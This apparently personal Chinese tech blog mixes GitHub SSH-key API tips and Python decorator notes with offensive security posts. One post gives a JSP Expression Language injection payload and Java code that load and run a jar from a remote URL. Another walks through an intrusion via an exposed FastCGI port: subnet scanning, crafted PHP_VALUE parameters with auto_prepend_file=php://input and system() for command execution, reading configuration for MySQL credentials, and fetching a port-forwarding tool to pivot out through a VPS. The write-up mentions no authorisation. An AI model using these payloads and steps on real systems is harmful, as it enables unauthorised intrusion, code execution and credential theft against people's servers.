记踩过的一些 Git 坑

Git 大坑

最近在写一个关于github自动发布的东西,被github的各种api折腾的不行TuT
大概记一下,一些遇到的问题
首先是向github添加sshkey:
api接口是
POST /user/keys
input:

1
2
3
"title": "octocat@octomac",
"key": "ssh-rsa AAA..."
}

response

1
2
Status: 201 Created
Location: https://api.github.com/user/keys/1

1
2
3
4
5
6
7
8
"id": 1,
"key": "ssh-rsa AAA...",
"url": "https://api.github.com/user/keys/1",
"title": "octocat@octomac",
"verified": true,
"created_at": "2014-12-10T15:53:42Z",
"read_only": true
}

找了下github3.py这个库里是有这个接口的

1
2
3
4
from github3 import login
g = login(username, password)
key = g.create_key(key_name, public_key)

但是如果这台机器上没有ssh的key
就需要用脚本顺带生成一下
在这里我用的是paramiko这个库
private_key = paramiko.rsakey.RSAKey.generate(2048)
这样会生成一个私钥
public_key = paramiko.RSAKey.from_private_key_file(private_key_file).get_base64()
我们平时cat ~/.ssh/id_rsa.pub看到的公钥是base64过的,但是直接生成的并没有,所以这里需要get_base64()转换一下

现在添加的时候可能会遇到几个问题
1、添加时返回422的错误,并且error message为key is already in use.
这个问题困扰了我很久,因为怎么看帐号上都没有添加上这个key,后来查了下这个错误,发现是github不允许一个key在两个帐号上同时使用。# 这个是因为当你在命令行用git时,是完全通过key来鉴权的,如果允许两个的话就不能标志出你使用的是哪个帐号,github就不知道你现在是谁了。

所以如果写脚本的话,如果会涉及一个key的多次使用,当一次使用完毕后可以把这个key删掉

1
2
key = g.create_key(key_name, public_key)
key.delete()

!!!不要相信github3的doc的example
用他的g.delete_key(key.id)怎么都报错,去看源码才发现!根本没有这个方法
2.添加的key格式错误,会报需要前缀为ssh-rsa, ssh-dss等。
这是因为直接用paramiko创建出的公钥是只含有公钥那段base64的。需要我们手动的把前缀ssh-rsa和后缀的邮箱,即在命令行里执行ssh-keygen是-C参数后面带的注释

1
public_key = "ssh-rsa {0} xxx@example.com\n".format(public_key)

3.公钥添加成功之后依旧permission deny。本来还以为是不可以像2中那样直接自己拼前缀
在命令行里push了下试试就报了下面这样的错

1
2
3
4
5
6
7
8
9
10
11
12
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: UNPROTECTED PRIVATE KEY FILE! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for '/Users/a1opex/.ssh/id_rsa' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "/Users/a1opex/.ssh/id_rsa": bad permissions
Permission denied (publickey).
fatal: Could not read from remote repository.
Please make sure you have the correct access rights
and the repository exists.

私钥权限过高的warning。解决办法就是

1
chmod 0600 ~/.ssh/id_rsa

最后加一些异常处理之后总得的代码
里面还简单粗暴的用shell解决问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import os
import paramiko
def create_private_key(file):
pri_key = paramiko.rsakey.RSAKey.generate(2048)
with open(file, 'w') as f:
pri_key.write_private_key(f, None)
os.system("chmod 0600 %s" % file)
return pri_key
def create_public_key(file):
public_key = paramiko.RSAKey.from_private_key_file(file).get_base64()
public_key = "ssh-rsa {0} xxx@example.com\n".format(public_key)
filename = file + '.pub'
with open(filename, 'w') as f:
f.write(public_key)
return str(public_key)
def adding_key(g, path, key_name):
if not (path and key_name): # Equivalent to not path or not name
# print("Cannot create a new key without a path or name")
raise ValueError('Cannot create a new key without a path or name')
pub_path = path + '.pub'
if os.path.isfile(path) and os.path.isfile(pub_path):
with open(pub_path, 'r+') as key_file:
pub_key = key_file.read()
else:
pri = create_private_key(path)
if pri:
pub_key = create_public_key(path)
else:
raise ValueError('Cannot create a new key because create private key failed')
key = g.create_key(key_name, pub_key)
if key:
#print('Key {0} created.'.format(key.title))
return key
else:
# print('Key addition failed.')
raise Exception('Key addition failed.')

python模拟命令行的库可以使用gitapi这个库,虽然已经很久没有维护并且妹有详细的文档啥的
支持这些命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
git init
git branch
git id (git log --pretty=format:%H)
git add
git commit
git status
git log
git checkout
git reset
git merge (fails on conflict)
git push
git pull
git fetch
git clone
git tags
git tag

官方example:

1
2
3
4
5
6
7
>>> import gitapi
>>> repo = gitapi.Repo("test_gitapi") #existing folder
>>> repo.git_init()
>>> repo.git_add("file.txt") #already created but not added file
>>> repo.git_commit("Adding file.txt", user="me <me@example.com>")
>>> str(repo['HEAD'].desc)
'Adding file.txt'

clone和push

1
2
3
4
5
6
7
8
9
# clone
gitapi.git_clone(url, path) # path:本地路径 url:仓库url
# push
repo = gitapi.Repo(repo_name)
repo.git_add(".")
user_info = "{un} <{ue}>".format(un=user_name, ue=user_email)
repo.git_commit("", user=user_info)
repo.git_push(destination="origin", branch="master")

备注下ssh-keygen的参数

-t 指定要创建的密钥类型,如:-t dsa | ecdsa | ed25519 | rsa | rsa1

1
2
3
ssh-keygen -t ecdsa
Generating public/private ecdsa key pair.
Enter file in which to save the key (/Users/a1opex/.ssh/id_rsa):

-b bits 指定密钥长度。对于RSA密钥,最小要求768位,默认是2048位

1
2
3
$ ssh-keygen -b 4096
Generating public/private rsa key pair.
Enter file in which to save the key (/Users/a1opex/.ssh/id_rsa):

-C comment 提供一个注释。生成git密钥的时候都会要求注释中写入邮箱名字。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ ssh-keygen -t rsa -b 4096 -C "cnssa1opex@gmail.com"
Generating public/private rsa key pair.
Enter file in which to save the key (/Users/a1opex/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /Users/a1opex/.ssh/id_rsa.
Your public key has been saved in /Users/a1opex/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:gd+1K5Lubsk7SkGozr+u0dsVcKZzZDtoax3N/OAPW9c cnssa1opex@gmail.com
The key's randomart image is:
+---[RSA 4096]----+
| |
| . . |
| . + * . |
| . . X B . . |
| . * S * . |
| o . . * * o . . |
| + . +.=.+ + . E|
| o = o=. * . |
| .o=.o==o. . |
+----[SHA256]-----+

-f filename 指定密钥文件名

-l 显示公钥文件的指纹数据。它也支持 RSA1 的私钥。对于RSA和DSA密钥,将会寻找对应的公钥文件,然后显示其指纹数据。

1
2
$ ssh-keygen -lf ~/.ssh/id_rsa.pub
4096 SHA256:gd+1K5Lubsk7SkGozr+u0dsVcKZzZDtoax3N/OAPW9c cnssa1opex@gmail.com (RSA)

-E 用md5的方式查看指纹数据

1
2
$ ssh-keygen -E md5 -lf id_rsa.pub
4096 MD5:26:e5:ad:69:78:fb:ea:1f:06:4a:ae:99:ec:0a:80:9d cnssa1opex@gmail.com (RSA)

python 语法糖 - 装饰器

python decorator

前几天,小A同学问到了怎么写装饰器的问题

给我的代码是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# coding: utf-8
class test:
i = 1
def start(self):
print 'start'+str(self.i)
def end(self):
print 'end'+str(self.i)
def do1(self):
self.start()
print self.i
self.end()
def do2(self):
self.start()
print self.i
self.end()
t = test()
t.do1()
print '----'*10
t.do2()

语法糖怎么能不会呢

改成装饰器之后是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def hello(fc):
def wrapper(*args, **kwargs):
print 'start' + str(args[0].i)
r = fc(*args, **kwargs)
print 'end' + str(args[0].i)
return r
return wrapper
class test:
i =1
@hello
def do1(self):
print '-'*10
t = test()
t.do1()

好像很简单的样子

滴—–
司机卡

然而如果加一句

1
print t.do1.__name__

这个输出似乎有什么问题呢

1
2
3
4
5
$ python decorator.py
start1
----------
end1
wrapper

属性丢失了

解决办法是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from functools import wraps
def hello(fc):
@wraps(fc)
def wrapper(*args, **kwargs):
print 'start' + str(args[0].i)
r = fc(*args, **kwargs)
print 'end' + str(args[0].i)
return r
return wrapper
class test:
i =1
@hello
def do1(self):
print '-'*10
t = test()
t.do1()
print t.do1.__name__

关于wraps官方文档里这么解释

  • Without the use of this decorator factory, the name of the example function would have been ‘wrapper’, and the docstring of the original example() would have been lost.

最后用来解决一下我今天需要的定时超时的问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def timeout(seconds, error_message="Timeout Error: the cmd 300s have not finished."):
def decorated(func):
result = ""
def _handle_timeout(signum, frame):
global result
result = error_message
raise Exception(error_message)
@wraps(func)
def wrapper(*args, **kwargs):
global result
signal.signal(signal.SIGALRM, _handle_timeout)
signal.alarm(seconds)
result = func(*args, **kwargs)
# try:
# result = func(*args, **kwargs)
# finally:
# return result
return result
return wrapper
return decorated

java框架的判断方法

Java web

  • *.action

struts2 or webwork框架

准确率百分之90

  • *.do

spring mvc

准确率百分之50

  • /action/xxxx

struts2

准确率百分之70

  • *.form

spring mvc

准确率百分之60

  • *.vm

VelocityViewServlet

准确率百分之90

  • .jsf

Java Server Faces

准确率百分之99

EL表达式远程代码执行

##1、利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<%@ page language="java" import="java.util.*" pageEncoding="utf-8"%>
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core"%>
<%@ taglib uri="http://java.sun.com/jsp/jstl/fmt" prefix="fmt" %>
<%-- 反射创建一个list对象放到session --%>
${pageContext.getSession().setAttribute("list","".getClass().forName("java.util.ArrayList").newInstance())}
<%-- 创建远程URL对象并add到session里面的list中去 --%>
${pageContext.getSession().getAttribute("list").add(
pageContext.getSession().getServletContext().getResource("/").toURI().create("http://p2j.cn/tools/test.jar").toURL()
)}
<%-- 加载远程jar并调用初始化方法 --%>
${pageContext.getSession().getClass().getClassLoader().getParent().newInstance(
pageContext.getSession().getAttribute("list").toArray(
pageContext.session.servletContext.getClass().getClassLoader().getParent().getURLs()
)
).loadClass("org.javaweb.test.HelloWorld").newInstance()}

##2、java示例代码

测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public static void main(String[] args) {
try {
// 获取系统类加载器sun.misc.Launcher$AppClassLoader
Class<?> clazz = ClassLoader.getSystemClassLoader().getClass();
// 定义远程加载的jar
URL[] urls = new URL[] { new URL("http://p2j.cn/tools/test.jar") };
// 获取AppClassLoader的newInstance方法java.net.URLClassLoader.newInstance(java.net.URL[])
Method method = clazz.getMethod("newInstance", new Class[] { java.net.URL[].class });
// java.net.FactoryURLClassLoader
ClassLoader loader = (ClassLoader) method.invoke(clazz, new Object[] { urls });
Class<?> helloClass = (Class<?>) loader.getClass().getMethod("loadClass", String.class).invoke(loader, new Object[] { "org.javaweb.test.HelloWorld" });
// 调用无参无返回值的public静态方法 public static void hello(),静态方法调用不需要创建目标对象的实例
helloClass.getMethod("hello").invoke(null, new Object[]{});
// 调用无参有返回值的public静态方法 public static String world()
String world = (String) helloClass.getMethod("world").invoke(null,new Object[]{});
// 调用有参有返回值的protected静态方法 protected String test(String str) 非静态方法需要实例化
// 获取这个方法的时候因为参数是String所以getMethod的时候需要传一个参数类型String.class
// 需要特别注意的是getMethod和getDeclaredMethod的区别,getMethod无法获取当前类的非公开方法
// getDeclaredMethod获取获取本类的所以方法但是不包括从父类继承过来的方法
Method testMethod = helloClass.getDeclaredMethod("test", String.class);
// test方法是非public方法,调用前需要设置访问权限
testMethod.setAccessible(true);
String test = (String) testMethod.invoke(helloClass.newInstance(), new Object[] { "测试!" });
String result = (String) helloClass.getMethod("exec",String.class).invoke(null,new Object[]{"ifconfig"});
System.out.println(world);
System.out.println(test);
System.out.println(result);
} catch (Exception e) {
e.printStackTrace();
}
}

HelloWorld代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
/*
* Copyright yz 2016-2-18 Email:admin@javaweb.org.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.javaweb.test;
import java.io.IOException;
import java.io.InputStream;
/**
*
* @author yz
*
*/
public class HelloWorld {
public HelloWorld(){
System.out.println(exec("ifconfig"));
}
public static void hello(){
System.out.println("hello.");
}
public static String world(){
return "world.";
}
protected String test(String str){
return str;
}
public static String exec(String cmd){
StringBuilder sb = new StringBuilder();
try {
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
int a = 0;
byte[] b = new byte[2048];
while ((a = in.read(b)) != -1) {
sb.append(new String(b, 0, a));
}
in.close();
} catch (IOException e) {
e.printStackTrace();
}
return sb.toString();
}
}

##3、描述

EL表达式在处理这些特殊的语句的时候会有过滤,但是上面的表达式通过反射获取系统的类加载器sun.misc.Launcher$AppClassLoader对象。其实AppClassLoader就是一个URLClassLoader,这里调用父类URLClassLoadernewInstance方法就可以把构建的远程jar加载进来,实例化后的对象是java.net.FactoryURLClassLoader。最后创建远程jar的类实例的初始化过程间接的调用exec方法执行命令。详细描述请参考利用代码内的注释。

##4、参考

  1. http://blog.orange.tw/search?updated-max=2014-12-11T00:55:00%2B08:00&max-results=5&start=5&by-date=false
  2. https://www.mindedsecurity.com/fileshare/ExpressionLanguageInjection.pdf
  3. http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/

从fastcgi 到数据库

一次很有趣的实践


FastCGI 是目前最常见的webserver动态脚本执行模型之一

而由于fcgi和webserver是通过网络进行沟通的,因此目前越来越多的集群将fcgi直接绑定在公网上

这时配置不当就可能会产生很多安全问题

正好有一个测试的站点1.2.3.4

nmap -sV -p 9000 –open 1.2.3.1/24 (9000是默认端口)

Nmap scan report for 1.2.3.xxx
Host is up (0.069s latency).
PORT STATE SERVICE VERSION
9000/tcp open cslistener?

webserver为了提供给fastcgi一些参数,每次转发请求的时候,会通过FASTCGI_PARAMS的包向fcgi进程进行传递。而若fcgi对外开放,就意味着,任何人都可以伪装成webserver,通过设定FASTCGI_PARAMS这些参数来让fcgi执行我们想执行的脚本内容。

通过修改DOCUMENT_ROOT和SCRIPT_FILENAME即可设置利用fcgi去调用SCRIPT_FILENAME所代表的文件(实际上是执行)

1
2
3
4
5
6
7
8
env["SCRIPT_FILENAME"] = 文件名
env["DOCUMENT_ROOT"] = "/"
env["SERVER_SOFTWARE"] = "go / fcgiclient "
env["REMOTE_ADDR"] = "127.0.0.1"
env["SERVER_PROTOCOL"] = "HTTP/1.1"
env["CONTENT_LENGTH"] = strconv.Itoa(len(reqParams))
env["REQUEST_METHOD"] = "POST" 或 "GET"
env["PHP_VALUE"] = "allow_url_include = On\ndisable_functions = \nsafe_mode = Off\nauto_prepend_file = php://input"
1
2
3
cmd = "whoami"
c = "<?php system('" + cmd + "');die('---------');?>""
fcgi.Request(env, c)
  • 【注意】 在接收到参数值后fcgi只是修改了内存中的环境变量,并不会直接改动这个文件

在php 5.3.3以下是不能通过修改ini设置去执行代码,只能去猜路径。

php版本 5.3.3 - 5.3.8 是可以通过可以通过参数中设置[PHP_VALUE]和[PHP_ADMIN_VALUE]动态修改php.ini中的auto_prepend_file的值,去远程执行任意文件

利用执行php://input,然后在POST的内容中写入php代码,这样就可以直接执行了。

而在5.3.9以上php官方加入了一个配置”security.limit_extensions”,默认状态下只允许执行扩展名为”.php”的文件


在我这个测试站点里,随便找了个路径试了下
Status: 404 Not Found
X-Powered-By: PHP/5.5.9-1ubuntu4.14
Content-type: text/html

php版本是5.5.9
唔,瞬间感觉有点不开心呀~不过先扫下端口吧

nmap -sV –open 1.2.3.4

Starting Nmap 7.01 ( https://nmap.org ) at 2016-06-20 15:25 CST
Nmap scan report for 1.2.3.4
Host is up (0.067s latency).
Not shown: 988 closed ports, 5 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.4.6 (Ubuntu)
88/tcp open http Apache httpd 2.4.7
222/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
3128/tcp open tcpwrapped
3306/tcp open mysql MySQL 5.5.41-0ubuntu0.14.04.1-log
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
9000/tcp open cslistener?
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

试下http服务,发现在88端口开了一个poweradmin

似乎有默认路径的样子? just try

果然有一个index.php

/var/www/poweradmin/index.php

然后可以愉快的命令执行了 但是

uid=33(www-data) gid=33(www-data) groups=33(www-data)

也是惨的可以= =不过还是可以找啊找找到一个有写权限的目录,然后linux wget你懂的

虽然权限低,但是读文件还是可以的,so找下poweradmin的配置文件

mysql帐号密码get。不过不允许外连,这该咋办呢?

里介绍了一个好用的小工具可以将内网ssh端口转发到外网服务器上

1
wget http://www.vuln.cn/wp-content/uploads/2016/06/lcx_vuln.cn_.zip

具体使用

在vps上./portmap -m 2 -p1 监听端口 -h2 [vps.ip] -p2 转发出来的端口

在内网
./portmap -m 3 -h1 127.0.0.1 -p1 22(mysql的话是3306) -h2 [vps.ip] -p2 [vps监听的端口]

本机或者vps上

ssh vps.ip 转发出来的端口[mysql ip -port]

然后就可以愉快的本机连mysql

参考

Python/Security<br>程序媛<br><br>小狐狸.